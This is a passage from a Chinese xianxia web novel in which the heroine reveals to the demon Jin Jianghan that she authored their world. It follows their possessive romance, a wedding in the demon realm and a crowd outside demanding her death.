从外看去,三人只看到了一团黑雾,她单手甩出鞭子。
殿中的人快要撑不住了,结界被魔力击打得砰砰响,就在这时,几人感觉腰间一紧,身子腾空,被一股力道拉出。
几人被腰间缠上的紫色鞭子拽出大殿,措不及防地摔倒在地,穆净收起鞭子,随手将白猿丢掉,白猿哒哒哒地跑开了。
穆净结印布阵,她要压制靳江浛身上的鬼石魔力,可当法阵布下之后,她却发现此阵毫无作用。
忽然,穆净想到了靳江浛之前立下的誓言,他立下誓言后,洞中的纹路就黯淡无光,难道是因为那个誓言?
穆净只能改变法子,用自身魔力压制鬼石魔力。
整座大殿开始颤动起来,魔力摧毁殿中的一切,梁柱倒塌落在两人之间,可并未打断两人的争执。
“靳江浛,你疯了!”
“对!我就是疯了!”靳江浛没有反驳,而是应下了岁忆谙的话。
“岁忆谙,既然你不想留下,那我们就一起死吧。”
岁忆谙骂出口:“神经病,刚才那一剑我就该捅深点!”
现在的她什么愧疚都没有了。
“岁岁还真把你当主人了。”靳江浛岁忆谙的话充耳不闻,他的语气有些遗憾,但又是庆幸更多。
其实,靳江浛心里就是庆幸岁岁能护下岁忆谙,倘若岁忆谙因他而受伤,他一定会恨死自己。
“不仅我们死,黎绕月和白英空也必须死。”
靳江浛死前都不忘试探一下岁忆谙在乎的到底是谁。
一提到两人,岁忆谙面色阴沉下来,她怒道:“你有什么资格左右他人生死!”
岁忆谙从头到尾都不在乎自己,她眼里只有那两个人,靳江浛这般想着,他当初就应该杀死黎绕月和白英空,尤其是白英空。
哪怕见不到岁忆谙,他都要杀了白英空。
“那谙又有什么资格管我?以什么身份管我?”
靳江浛想看看岁忆谙会怎么看待她与自己之间的关系。
靳江浛死死地盯着岁忆谙,虽然他面上勾唇笑着,但眼中的悲恸十分真切,泪水也盛满眼眶,随时都要落下。
他在等待岁忆谙的回答。
他与岁忆谙到底是挚友?是恋人?还是陌路人?
岁忆谙不屑地嗤笑一声,她脱口而出:“身份?我
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告诉你,这个世界上唯一能谈身份的只有我!”
靳江浛敏锐地察觉到了岁忆谙话里的异常。
“你说什么?”
岁忆谙破罐子破摔,她直视靳江浛,一字一句道:“我说,你经历的所有事情都是我写的!”
话落,靳江浛彻底呆住,整个人定格在原地,他张了张嘴想说些什么,可话一直哽在喉间,难下咽,难出口。
殿中黑气变淡了些,直至消失殆尽,黑石长剑并未感应到危险,它猛地停下,掉落在地上发出的撞击声成了殿中唯一的声响。
两人对立而站,中间仿佛隔了一个时空,时间被静止在这一刻,唯有靳江浛的泪滑落脸颊。
废墟之中,两人似是回到从前。
岁忆谙接着说:“靳江浛,魔族被灭是我写的,你爹娘被仙门杀死是我写的,最后你败于黎绕月和白英空也是我写的!”
“谙……你…………”靳江浛不可置信地望向岁忆谙。
对方冷漠无情的眼神深深刺痛了靳江浛的心。
百年前,岁忆谙离开后,幼时的靳江浛就又觉醒了,他知晓岁忆谙不是这个世界的人,便以不杀主角为代价让岁忆谙回来,可他从未想过岁忆谙是书写者。
难怪她对白和柳那么上心,原来自己只是一个微不足道的配角,她从一开始就不喜欢自己。
“你凭什么书写我的人生?!”
这是靳江浛第一次用埋怨的语气对岁忆谙说话。
为何他不能是主角,倘若他能掌控自己的人生,倘若他是主角,说不定岁忆谙就会喜欢他了。
“你的存在是我写下来的,这个世界是我创造出来的,我有何不可?”
说出一切的岁忆谙浑身轻松,只不过没轻松多久,数道视线就落在了她的身上。
岁忆谙环顾一圈,不知何时,殿外几人来到了她的身边,而几人也正好听到了岁忆谙的最后一句。
这个世界……是岁忆谙创造出来的?
什么意思?
要是面对一人还好,这一下子面对七八个人,岁忆谙怂了,她提着裙子越过众人。
穆净也不太明白,见岁忆谙准备离开,她干脆把人抓来问问。
鞭子如鬼魅般朝岁忆谙的背影袭去,即将碰到她时,一道长剑突然斩断紫色长鞭。
穆净收回鞭子,怒斥:“靳江浛,你竟敢阻拦本君!”
靳江浛手持长剑,眸色深沉,浑身杀意,刚刚落泪的委屈模样消失得一干二净。
“除了我,没人能动她。”
说罢,他转身追上即将跑没影的岁忆谙。
穆净一阵无语,她望了望天,幸灾乐祸地笑道:“是没人能动她,但是你要被雷劈了。”
此刻,天空异变,蔚蓝的天被厚重的灰云遮蔽,压抑得众人喘不过气。
层层乌云中,雷声响起,试图趁此机会逃离魔域的岁忆谙并未停下脚步,她继续跑着。
【滋滋滋………宿主……滋滋大人…………】
岁忆谙猛地停下脚步。
【零零零,是你吗?】
零零零还没被摧毁,那她还是可以回家的。
【滋滋……宿主大人,请留在靳江浛身边,获取他的滋……信任,让他放下戒备,零零零才好送您离开。】
72. 无师自通
靳江浛一心扑在岁忆谙身上,见她停了,还以为是愿意原谅自己了,脚步加速的同时并未察觉到天雷朝自己劈来。
兹拉的电音却从岁忆谙身后响起。
被雷劈中的靳江浛全身无力跪倒在地,胸膛处的伤口还在往外冒血,他抬头看向不远处。
狂风呼啸,雷声轰鸣,大地因此颤动,岁忆谙的背影与低沉沉的环境重合,似要烟消云散。
靳江浛伤心至极,神情愤怨,胸膛处的伤口他不想施法疗治了,他要永远记住岁忆谙的那一剑,他要杀…………
“靳江浛。”
清脆悦耳的声音传来,恶毒凶残的想法停住。
靳江浛眉头瞬间舒展,他猛地抬头,瞳孔微颤。
“谙………”
岁忆谙来到了自己的面前,太好了,她还是在意自己的。
靳江浛一下子就忘了伤口处的疼痛。
“小心!”白英空的提醒伴随着雷声响起。
一条粗如蟒的雷柱朝两人所在之处劈下,靳江浛回神,他起身将岁忆谙护在身后。
黑色魔力在掌心凝聚,靳江浛化出屏障抵抗天雷。
白光刺眼,站在靳江浛身后的岁忆谙偏头看他,一半阴影下的俊朗侧脸让她有些恍惚。
零零零说它有法子将自己送离,但是必须要降低靳江浛的警惕心,岁忆谙这才回来的。
希望零零零不要骗她…………
岁忆谙心跳如鼓,紧张地抓上了靳江浛的手臂,而他的回应是一个安心的眼神。
靳江浛正欲施法将那道雷引到别处时,穆净出声了。
“靳江浛,你要是再敢毁本君的魔域,你就等着被天雷劈死吧。”
穆净不是威胁,她说的是实话,靳江浛将魔域大殿摧毁,也算是做了不利魔族之事,虽不是全然违背,但他也得被雷劈几下。
靳江浛一听,倒还真停下了手上的动作,他现在处于违背与不违背之间,要是真毁了魔域,他怕是永远都见不到岁忆谙了。
想到这里,靳江浛施法将岁忆谙推开,柳微晴眼疾手快地将她拉到安全的位置。
靳江浛撤下结界,任由天雷劈在自己身上,电流顺着血液传遍身体的每一处,像是把刀将皮肉割开,再划向骨头。
违背誓言的后果还真是千刀万剐之痛,不过自己应该不会见不到岁忆谙了吧。
电闪雷鸣之间,岁忆谙站在远处看着,许是脑中的三色堇发挥了作用,她的眼里有着她不知晓的心疼。
喉间涌上腥甜的血液,靳江浛强忍着咽了回去。
“行了,都散了吧。”穆净没空看靳江浛受天雷,等到受完天雷,就让他把大殿给修好。
说罢,她控制着白英空和姚钰君离开。
至于岁忆谙的那番话,到时候自己再问问她就好了。
南宫浅和流萤也跟着离开。
黎绕月自然也是将岁忆谙的话听了进去,她也注意到了略有异样的裴汔,裴汔似乎知晓岁忆谙说的是何意思。
“绕月………我有话对你说。”
黎绕月冷不丁看向裴汔,然后沉默地走了。
裴汔慌了,他知晓黎绕月生气了,急忙跟上。
靳江浛被天雷劈,连带着柳微晴也受难,好在只是微弱的。
总得找时间将自己体内的魔力换掉,去找魔主吧,她应该有法子,柳微晴想着。
看着双眼微红的岁忆谙,柳微晴悄悄离开。
华屿山摇着折扇还在看戏,一扭头,周围都没人了,他从袖子里拿出一个瓷瓶交到岁忆谙手中,说待会儿给靳江浛服下,然后也走了。
十三道天雷过后,乌云终于散去。
靳江浛稳住身形,他身上的衣袍早已被雷劈得破烂,身上满是伤痕,喉间的血还是忍不住咳了出来,他咳完后,擦掉血迹才转身看去。
原地只有岁忆谙一人。
岁忆谙刚朝靳江浛走两步,靳江浛嫌慢,自己一个闪身出现她身前。
“你…………”岁忆谙刚要说你没事吧,肩上一重,靳江浛的脑袋歪在了她的肩上。
岁忆谙以为靳江浛晕了,正苦恼怎么将他弄回去时,耳边传来黏黏糊糊的声音。
“谙,我不想离开你。”
“嗯。”
“谙,我不管你是谁,你也别管我是谁好吗?”
“嗯。”
“谙,我喜欢你。”
“嗯。”
“那你喜欢我吗?”
“…………嗯。”
一遍遍地提问,一遍遍地回应,废墟之前,两人紧紧相拥,只是不知对方到底是真心还是假意。
拨云见日,秋高气爽。
靳江浛用魔力重建起大殿,当晚,众人齐聚大殿,几人纷纷围在岁忆谙周围,听她说这个世界的一切。
尴尬的尴尬,愤怒的愤怒,庆幸的庆幸,开心的开心。
众人还想问些什么,都被靳江浛挡了回去,岁忆谙急忙逃离现场。
月亮的光撒在江南宫,卧房内,上身赤裸的靳江浛跪坐在榻上,他目光灼灼,视线落在对面的岁忆谙身上。
“你就不能转过去吗?”
岁忆谙手里拿着一瓶膏药,也不知靳江浛发什么疯,不用魔力治疗,非要让她拿药膏抹伤口,还一直看着自己。
“不能,我要看着你。”靳江浛摇头拒绝。
岁忆谙无奈,她将药盖子打开,纤细的中指尖沾染上乳白色的药膏,她倾身上前,将药轻轻抹在伤口上。
微凉的药膏让靳江浛哆嗦了一下,耳尖微红,他看向认真抹药的岁忆谙,岁忆谙披散着头发,发丝掠过他的胸膛,痒痒的。
痒得靳江浛抓心挠肝,他伸出手撩起岁忆谙的碎发,岁忆谙察觉到他的举动愣住,手上的动作停了下来,疑惑地抬头看他。
烛火摇曳,浅棕色的眼瞳在黑暗中格外亮眼,澄澈也动人。
谙的眼睛很漂亮。
靳江浛的心砰砰跳着,眼底疯狂暗欲涌动,他控制不住自己,附身亲了上去。
轻轻的吻落在了岁忆谙的眼角,她吓得眨了几下眼。
靳江浛还能感受到岁忆谙长长的睫毛划过自己的唇角。
感受到眼角温热的触感,岁忆谙手上不自觉用力,指尖的药膏被捻开,指腹触碰到伤口,沾了些血。
“唔……”
伤口被用力摁了一下,痛感传来,靳江浛闷哼出声,似乎是为了缓解疼痛,他一把扣住岁忆谙的后脑勺,将吻移开,落在了她的唇瓣上。
双唇相抵,无师自通。
靳江
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浛吻上去后,就用舌尖撬开岁忆谙的嘴,轻轻啃咬着她的唇瓣。
靳江浛先是将手滑落到岁忆谙的后脖处,轻柔抚摸着,再不轻不重地揉捏起来,另一只手也掐上了她的腰。
药罐滚落在床上,又掉在地上发出咕噜咕噜的声音。
岁忆谙手撑在靳江浛的胸膛上,手一摸就摸到了凹凸不平的伤口,她将手下移到腰腹位置。
触碰到的一瞬间,岁忆谙能清楚地感受到靳江浛腰腹的紧绷,硬邦邦的肌肉让她多摸了几下。
暧昧的水渍声回响在卧房,两人面红耳赤,岁忆谙穿着薄薄的白色里衣,上半身紧紧贴在靳江浛赤裸的胸膛上。
房内气温升高,腰间的力道逐渐加重,岁忆谙脑袋晕乎乎的,有些难受地握上靳江浛的手腕,撑着手臂想要推开他。
岁忆谙脑袋往后仰,偏头躲避开靳江浛的吻。
两人都喘着气,由于岁忆谙侧着头,靳江浛的呼出的热气都喷洒在了她的脖颈,她缩了缩。
靳江浛眼尾泛红,贴上来又想要亲她。
岁忆谙的指尖用力地摁在了靳江浛的伤口上。
“嘶!”靳江浛疼得倒吸一口凉气,可怜兮兮地望着岁忆谙。
“谙…………”
岁忆谙无情地推开靳江浛,看了眼他的胸膛,血和药膏糊在一起,整个皮肤都是淡红色的痕迹。
岁忆谙又垂眸看了看自己的衣服,果不其然,白色的里衣沾染了他的血液以及药膏。
这些混合物似乎渗透了她的衣服,黏糊糊的触感令她不适。
“烧水去,我要沐浴。”岁忆谙踹了靳江浛一脚,靳江浛利落地翻身下床,滚去烧水了。
等到岁忆谙沐浴完后,靳江浛也用凉水给自己洗了一遍,他乖巧地坐在榻上等岁忆谙。
靳江浛还想让岁忆谙给他擦药,并且再三保证自己不会做什么。
在他的苦苦哀求下,岁忆谙还是给他擦了,只不过在擦药的过程中,靳江浛总趁她不注意就撩撩她的发丝,摸摸她的耳垂。
岁忆谙不耐烦,一巴掌下去,靳江浛就老实了。
房内熄了烛,零零散散的月光透进窗。
岁忆谙躺在榻上企图入睡,可腰间的传来的力道以及温度让她难以忽视,更何况耳畔还有一道炙热的呼吸。
靳江浛跟狗皮膏药一样粘着岁忆谙,她的腰间被靳江浛温热的大掌环住,下巴还搁在她的肩上。
岁忆谙想将腰间的大手扯开,他却握得更紧了,无奈之下,她只能闭眼睡去。
虽是秋季,但房内门窗紧闭,空气有些闷热,迷迷糊糊间,岁忆谙面朝里刚翻了个身,背后就贴上了一道滚烫的胸膛。
岁忆谙又侧身伸手推了推,“靳江浛…………”
靳江浛睡得不沉,怀中的人一动他就会醒过来。
听见岁忆谙喊自己,靳江浛握上她的手,顺势与她十指相扣,语气沙哑:“怎么了?”
“热…………”
“你离我远点。”岁忆谙嘴上嘟囔,又想推靳江浛一把,十指紧扣住的手却没有任何力道。
靳江浛嗯了一声,只不过毫无动作,只是默默地为岁忆谙体内注入了些许魔力。
岁忆谙只感觉一阵舒凉,皱着的小脸终于松开,她沉沉睡去。
73. 红绳续缘
次日清晨,岁忆谙给院内的桃花树浇水,靳江浛突然走到她身边,欲言又止。
“有话就说。”
“谙,今晚我们去人间吧。”靳江浛小心翼翼地说着,生怕勾起岁忆谙不好的记忆。
岁忆谙手上动作不停,神情无异,问:“去人间干什么?”
“今日七夕,魔域无趣,我们去人间逛逛。”
夜色深沉,星光点点,两人来到离魔域最近的盐城,盐城不大,但气氛温馨,百姓安居乐业。
人间果真热闹,张灯结彩,街边摆着各式各样的小摊子。
人潮涌动,两道绿色身影出现在街上。
岁忆谙有些眷恋地看着周边商贩,她有多久没出来了?
身旁的靳江浛察觉到了岁忆谙低落的情绪,他拉过岁忆谙的手,与十指相扣走在盐城最热闹的街上。
在路过一个摊子时,靳江浛被叫卖声吸引。
摊子是卖红绳的,一根普普通通的红绳竟然要二十文钱,也就靳江浛这种满脑子情爱的人才会买。
靳江浛买了两根,然后一根系在了岁忆谙手腕上,另一根准备为自己系上。
岁忆谙却夺过靳江浛手上的红绳,为他亲手系上,这一举动给靳江浛激动得心都要跳出胸腔了。
“七夕佳节,红绳续缘。”
“靳江浛,我们会一直在一起的,哪怕分离,也会有这根红绳将我们绑在一起。”
岁忆谙轻声说,这话都不知晓是不是对自己的诅咒,她真怕这句话成真。
可既然害怕,又为何会说出口呢?
靳江浛开心得找不着北,他牵着岁忆谙继续走,两人来到河边,河边有许多人在放荷花灯。
将心愿写在纸上,再放入灯里,让花灯随着河流飘走,据说这样,心愿就能实现。
一旁也有卖花灯的,但靳江浛不感兴趣,因为没有卖桃花样式的,这次倒是岁忆谙让摊主现做了两个。
这一举动又让靳江浛开心的不得了。
摊主的手很巧,很快就做好了两个荷花灯,岁忆谙付了钱,将其中一个荷花灯塞到靳江浛怀中,然后拉着他走向河边。
岁忆谙提着裙摆,低头看向脚下,要下台阶时,靳江浛反手扶着岁忆谙走下阶梯。
河岸边已经有很多人了,两人特意找了快空地蹲下,岁忆谙将纸条摊开,拿着毛笔准备写时顿住了。
她不知晓自己要写什么。
偷摸看向一旁,靳江浛的笔动得飞快,最终她什么都没有写,将纸叠好放在了桃花灯上。
靳江浛也写好了,纸上就一句话。
[谙只能爱我。]
桃花灯被放入河流,倒映在水中的烛火飘荡。
又逛了一会儿,两人便回了魔域,刚入江南宫,靳江浛就神神秘秘地拽着岁忆谙衣袖,然后拿出了一个长木盒,拉开盒盖,里面正放着一条乌黑亮丽,富有光泽的黑王蛇。
“谙,这是我寻了好久的黑王蛇,它的性子很温和,我还为它开了灵智,你不用怕被咬。”说话期间,黑王蛇还扭动着身子,试图爬出盒子。
靳江浛将它拿起来,放在手中。
岁忆谙都快忘了这一茬,她手上已经有了两根绳子,一根五彩绳,一根红绳,手腕上养不了一条蛇了。
“它不适合我,你自己戴吧。”
说罢,岁忆谙不理会靳江浛的错愕,转身进了屋,靳江浛以为自己勾起了她的伤心事,便将蛇放了回去,然后进屋哄岁忆谙了。
再有七日,黎绕月与裴汔就要成婚了,穆净特意让两人在魔域成婚。
岁忆谙正在纠结送什么礼时,裴汔来找她了。
“岁姑娘,绕月要取消明日的婚宴,你能不能帮我劝劝她。”
岁忆谙疑惑:“绕月为何要取消婚宴?”
“绕月知晓了她与白英空在一起过,觉得愧对与我…………可是,明明是我对不起她。”白英空自责道。
岁忆谙忙不迭地来到两人的住处,黎绕月紧闭房门,她让裴汔在院中等待,独自一人上前敲门。
“绕月,是我。”
门被打开,黎绕月微红着眼,视线忍不住往岁忆谙身后瞥,见裴汔还在,她刚忙将人拉进去。
落座后,岁忆谙问:“裴汔都跟我说了,以我对你的了解,怪也是你怪旁人,愧也是旁人愧你。”
黎绕月轻声说:“我与裴汔大婚之事早已被魔主散布了出去,她的目的就是为了让仙门在明日进攻魔域。”
魔主无情,竟用她与裴汔的大婚当诱饵。
“我害怕…………”黎绕月极少害怕,这次是因为在原文中,月蛇妖洲仅剩下自己一人,她害怕这次仙魔大战后,会变成和原文中一样。
岁忆谙:“怕你的族人会死?怕裴汔会死?”
“我知晓仙魔终有一战,但我不想我的的大婚之日成了他们的忌日。”
说到忌日,百年来,黎绕月都会在发间簪上白缎来悼念死去的族人,现在依旧如此。
“自从我来到这个世界的那一刻后,你们的命运就不在我的手里了,所以裴汔才会与你成婚,你爹才能活着,你不用过分担心。”
岁忆谙安慰完后,又想起外面的裴汔,道:“大婚不只能办一场,若是明日的大婚不能顺利完成,那就挑个日子再办一场就好了。”
“谙,那你呢?”
黎绕月依旧害怕,她既然是岁忆谙创造出来的,现如今做的事情违背了岁忆谙原本的意愿。
岁忆谙看向黎绕月。
“你说魔族生性残暴,那我与魔族就是同流合污,你是怎么想的?”
岁忆谙叹气:“我既然来到这里,就没有立场表述我自己的观点。”
现在谁对谁错都不重要,谁想复仇谁想救人也不重要,她离开这里才最重要。
黎绕月又问:“那你不觉得我是个恶人吗?我杀了那么多修仙弟子。”
人总是对创造出自己的人又一种莫名的畏惧。
“你若是恶人,那我岂不是大恶人?”岁忆谙忽地笑了,要说恶人,她岂不是这个世界上最大的恶人。
洛河村村民食人,安宁村阿纸被活活闷死,游南城成了人间炼狱,说到底这一切都是因为她。
“是我对不起你,让你过得那么苦。”
“这点苦算什么,比原本的人生好多了,再说了,我的存在是因为你。”
“难怪当初第一次见你的时候,就觉得你莫名熟悉。
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”
回想起第一次初见,那时的岁忆谙活力四射,现在……愁容满面。
岁忆谙离开房间,外头等了许久的裴汔走上前来。
“聊好了,她并不是因为白英空,而是因为她在乎的人…………你要好好保护她。”
裴汔欣喜万分:“当然,多谢岁姑娘。”
两人擦肩,岁忆谙突然回头问:“你不恨我吗?”
裴汔先是一愣,意识到岁忆谙在说什么后,说:“为何要恨?说到底,我还要谢谢你,因为你的出现,我有勇气反抗,有勇气去追求所爱。”
“那你不崩溃?毕竟谁都没料到自己只是书中角色。”
裴汔认真思索了一番,说:“我有心跳,有情绪,有思想。”
“书中角色又如何?只要我裴汔十分清楚自己的心就好,我爱黎绕月。”
“虽然这个世界是你创造的,可对我们来说却是真实的,做自己想做的事,能与心爱之人长相厮守,为何还要追究这个世界是真是假?”
裴汔扭转过一次时空,他看得比其余人开朗些。
岁忆谙若有所思,转身离去的同时,暗暗说了句。
“我宁愿你们恨我。”
期间发生了一件怪事,魔域外闹哄哄的,似乎是有数万人在魔域外同时高声呐喊。
好像在说…………岁忆谙去死?
其余人也都怪怪的,总是对她欲言又止,靳江浛更是一步也不让岁忆谙出宫。
魔宫大殿上,靳江浛坐在下位,他浑身戾气,冰冷的眼神扫视众人,怒道:“到底是谁将谙身份传出去的!”
不知怎得,一夜之间,似乎所有人都知晓了岁忆谙的身份,不到八月初一,众仙门就齐聚魔域外头,也不想大战了,就想让魔域交出岁忆谙。
起初是交出,之后便是让她去死。
殿上寂静,没人敢说话。
穆净见靳江浛的视线落在自己身上,还是第一次慌里慌张地开口:“看本君作甚?将岁忆谙的身份传出去,可对本君有何好处?”
穆净一拂袖,拎着白猿走了。
坐着看戏的华屿山摇着扇子,他好奇地追问一旁的柳微晴。
柳微晴已经让穆净帮自己换掉了全身的魔力,此刻的她神采奕奕,性子也比之前开朗了些。
面对华屿山的问题,她摇摇头。
这件事不了了之,靳江浛对整个魔域都布下了隔音结界,但是没有用,无论是谁布下的都没有用。
由于众仙门都已抵达魔域,所以黎绕月与裴汔的婚礼提前了。
七月三十一日,敲锣打鼓声响彻魔域,但依旧掩盖不住让岁忆谙去死的话。
魔宫大殿梁上挂着红绸,柱上贴着大红喜字,看着格外喜庆。
吉时已到,两人身着大红喜服,刺绣精美,黎绕月充满忧愁的脸被红盖头遮得严严实实。
裴汔也有些紧张,只不过即将迎娶心爱之人的紧张。
两人手中攥着同一条红绸,缓缓走向大殿中央。
月蛇妖洲和雪蛇妖族站在大殿两侧,脸上的微笑是勉强挤出来的,主要是外面仙门的嗓门儿实在是太大了。
一声声的死与大红喜宴搭配起来着实怪异。
74. 啃咬
江南宫内,以防万一,靳江浛还是不让岁忆谙出宫。
“谙,待会儿无论发生任何事情,你都不要离开屋子,等我回来。”靳江浛脸上是久违的谨慎。
岁忆谙隐隐猜出了些什么,心格外地慌,犹豫半晌,道:“你……不会死吧。”
靳江浛听到这句话,脸色一僵,说:“我不会死的。”
岁忆谙望着靳江浛离去的背影,疯狂跳动的心脏许久都未缓过来。
“零零零,告诉我,外面这是怎么了?”
岁忆谙转身回屋,就在今早,零零零已经回来了。
【宿主大人,这个世界上的所有人都知晓了你的存在,生活幸福美满的人倒没觉得什么,那些过得不好的人…………】
零零零没有继续说下去,岁忆谙心中了然。
魔宫的客房,白英空还在努力破开结界,而姚钰君躺在贵妃榻上睡觉。
两人被困在房内多日,一直没找到破除结界的法子,外头锣鼓喧天,听着让人去死的话,两人都不知晓发生了什么。
“师兄,歇歇吧,既然出不去,还不如养精蓄锐,现在看来,魔主应该不会杀死我们。”姚钰君依旧闭着眼。
“姚师妹,这我就得说说你了。”
“凌仙宗弟子不能懒,更不能轻言放弃。”白英空义正言辞地说教。
姚钰君睁开眼看向他,无奈地说:“师兄,你在门口连续站了三四天,你已经努力过了。”
听到这句话后的白英空一愣,身上的气息瞬间转变,变得压抑落寞,他自顾自地说:“是啊,我已经努力过了,可为何还是打不开这扇门?”
姚钰君顿感不妙,被关在一起的这段日子里,她了解白英空了解得七七八八,人刚坐起来,就见白英空一掌拍向木门,随即吼出声来。
“为何我只能任人宰割!”
“白师兄,这我就得说说你了。”
白英空性子倒是挺大大咧咧,可他就是脑子一根筋,固执又自责感太重,他将一吹就散的鹅毛压在自己肩上,可这些鹅毛明明就是万座没人能扛起的大山。
他看不清肩上的到底是什么,便只能怪自己没有能力。
姚钰君站起身,来到白英空面前,厉声说道:“打不开不是你的错,要怪就怪魔主是魔,要怪就怪魔主活了上百年,要怪就怪魔天生拥有魔力。”
“你只是一个才活了二十几年的凡人而已。”
说罢,姚钰君回榻上继续睡觉去了,她不再理会低头沉思的白英空。
沉思半晌的白英空恍然大悟,说:“那我争取活久一点。”
大殿婚宴上,当靳江浛来到这里时,两人已经拜完了天地,婚宴进行得很顺利,所以黎绕月也渐渐撇下愁容,她被送入了洞房,裴汔在外面敬酒。
看着十分开心的裴汔,靳江浛想着自己也要和岁忆谙成婚,办的婚宴一定要比这场更盛大,更华丽,更壮观。
靳江浛将岁忆谙给的礼物送了出去,接着迫不及待地回到江南宫。
浓浓夜色中,岁忆谙与靳江浛坐在房顶上,两人互相依偎,月亮只有细细的一条,不仔细看都看不出来。
深夜的魔域格外寂静,外面没了呼喊声,兴许都在睡觉。
靳江浛本想杀了外面齐声高喊的人,但岁忆谙肯定又要说他,他只能等大战那日再大开杀戒了。
靳江浛将岁忆谙揽在怀中,踌躇半晌才出声:“谙,我想娶你。”
“我能娶你吗?”
靳江浛的语气充满了小心翼翼,揽住岁忆谙腰上的手微微发紧,生怕她生气。
许久都没有听见岁忆谙的回答,靳江浛低头一看,她闭着眼睡着了。
靳江浛仰望夜空,长长地叹了口气。
叹息声传入岁忆谙耳畔,她也暗暗叹气。
忽然,客房的位置传来爆炸声,岁忆谙作势被惊醒,她愣愣地看向靳江浛。
靳江浛摸着她的脑袋,急忙安抚:“没事没事,你先回房睡觉,我去看看。”
当靳江浛来到产生爆炸声的客房时,早已人去镂空。
昏暗的宫道上,姚钰君背着灵力耗尽的白英空小跑着。
就在刚刚,白英空用尽灵力才成功破开结界,现在的他浑身无力,连路都走不了,姚钰君只好背起他。
就在姚钰君选择分岔路口时,身后走来一人,她警惕转身。
“谁!”
看清眼前的人后,姚钰君诧异中带着几分欣喜:“岁姑娘?”
“跟我走。”
姚钰君犹豫一瞬,跟了上去。
岁忆谙熟知魔宫地形,魔宫各个出入口都有重兵把手,再加上有零零零的帮助,几人顺利来到了魔域与魔宫交界处。
是一扇散发着白光的椭圆形的门,门内一片混沌。
“从这里出去,你们就可以直接离开魔域,众仙门就在魔域之外,注意安全。”
姚钰君说:“岁姑娘,你跟我们一起走吧。”
岁忆谙淡淡地说:“我走不了,他们要杀我。”
“谁要杀你?魔主吗?”姚钰君疑惑,倘若是魔主要杀她,那她不是必须得走吗?
夜风吹得岁忆谙单薄的衣摆轻轻晃动,浅棕色的眸子像是一潭死水,她摇头,漠然道:“不,是外面的人要杀我。”
姚钰君并不知晓外头发生了何事,外面除了仙门还有其他人吗?难道是仙门的人要杀岁忆谙?这是为何?
“快走吧,靳江浛要来了。”岁忆谙催促着,但她神色从容,丝毫不慌。
“保重。”说罢,姚钰君背着昏迷不醒的白英空转身走进混沌。
见光圈缩小消失,岁忆谙松了口气,刚转身,鼻尖差点撞上身后的人,她惊得后退半步。
靳江浛垂眸盯着岁忆谙,眸底暗沉如墨,面容阴冷。
“私放人质,岁姑娘,你胆子也太大了。”
一旁传来穆净的声音,她的视线在两人身上来回扫视。
岁忆谙十分镇定,似乎放走人只是一件极小的事情。
“那两人炸了我的客房,靳江浛,你记得把房给本君修好。”
说罢,穆净转身离开,就算她要惩罚岁忆谙,靳江浛也不同意,浪费精力,还不如直接让靳江浛修好屋子。
靳江浛并未理会穆净,只是一直看着岁忆谙。
“杵这儿干什么?回去吧。”岁忆谙越过靳江浛往回走,还顺带拉了一下他的宽袖。
靳江浛踉跄一步,板着一张脸跟在岁忆谙身后。
一路沉默,岁忆谙没心没肺地在前面后,就算察觉到了靳江浛的不满,她也懒得解释。
放走了就是放走了,这有什么好说的?
刚踏入江
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南宫,靳江浛就拉住了岁忆谙的手腕,用力一拽,将人拽到自己怀中。
岁忆谙吓了一跳,半点儿反应的时间都没有,极具侵略性的吻就落了下来。
措不及防的吻令岁忆谙愣神一瞬,回过神来时,两人早已唇舌交缠,禁锢在腰间的手臂逐渐收紧,呼吸也被掠夺,岁忆谙要喘不过来气了。
岁忆谙将头往后仰,想要躲开,后脑勺却被靳江浛的手掌扣住,不能挪动分毫。
就在岁忆谙打算咬破靳江浛的唇时,脸颊感受到了一道热泪。
她没哭,那就靳江浛的了。
岁忆谙即将做出的举动僵住,她缓慢伸手,环上了靳江浛的腰。
两人相拥着吻了许久,从一开始的疯狂到缠绵。
微风阵阵,衣袂相缠。
双唇分开后,岁忆谙抬眸就看见靳江浛眼睫湿润,挂着泪珠,看起来楚楚可怜。
靳江浛将脑袋埋在岁忆谙脖颈处,泪水啪嗒啪嗒地掉下。
“谙…………”
岁忆谙终究心软了,她没有推开靳江浛。
靳江浛一直在哭,像是受了天大的委屈,直到与岁忆谙躺在同一张榻上,他还在低声啜泣。
岁忆谙没说话,她一直在等靳江浛哭完。
“谙……你为什么不哄哄我?”靳江浛眼圈通红,他将下巴搁在岁忆谙肩上。
“你哭完了吗?”
冷冰冰的语气刺激到了靳江浛,在岁忆谙看不见的地方,他眼底的委屈转化为阴狠。
靳江浛一把扯下了岁忆谙的衣领,露出白皙的肩膀。
岁忆谙是背对着靳江浛的,她只感觉肩上一凉,然后刺痛传来。
“嘶!”岁忆谙吃痛。
靳江浛竟然一口咬在了她的肩上,岁忆谙想要挣扎时,却发现自己动弹不得。
肩上的疼痛依旧持续着,岁忆谙被疼出了泪,半晌,靳江浛才松开了口。
“靳江浛,你是狗啊。”岁忆谙骂出声,靳江浛并未回答,而是凝视着被他咬出的牙印。
靳江浛没有咬破岁忆谙的肌肤,他用魔力烙下了这个牙印,永世不消。
当岁忆谙想起他时,这个印记才会痛。
靳江浛希望岁忆谙想起自己,可她会吗?
倘若不会也好,那她也不痛了。
身后无声,岁忆谙不知晓靳江浛在做什么,她只能感觉到吻落在了那个牙印上。
靳江浛吻着岁忆谙的脖颈,一路吻到耳后,似乎没过瘾,他再次张口咬下。
这次咬上了岁忆谙的耳垂,从耳垂再次咬到肩颈。
一边舔舐,一边吮吸,一边啃咬。
岁忆谙不再理会身后的人,她闭眼尝试睡去,可肩上的触感怎么也忽视不了。
肩上水光盈盈,枕上也湿了一片。
次日清晨,岁忆谙从榻上醒来,身侧的被褥冰凉,靳江浛起了应该有一会儿了。
肩上隐隐作痛,岁忆谙下床坐到梳妆台前,将发丝撩至右侧,露出左肩。
模糊的铜镜里,肩上的牙印格外清晰。
指尖抚上,疼痛袭来。
岁忆谙无奈叹气,视线下移,桌上放着一支桃花簪。
靳江浛怎么没戴?
【叮!任务更新:请宿主甘愿赴死。】
【任务奖励:离开这个世界。】
75. 忘了我吧
一黑一白对立而站,靳江浛手中的黑石长剑早已染血,他刚刚只是杀了一个嚷嚷着让自己交出岁忆谙的人而已。
有些人想要让岁忆谙重新书写自己的命运,有些人想要让岁忆谙帮助自己得到自己想要的,而有些人只要岁忆谙死。
乞讨半生,与狗抢食。
金银珠宝,权势地位。
一生孤苦,无力苟活。
甚至有人抱着自己早已夭折的孩子跪在地上,说一命换一命。
靳江浛自然不愿。
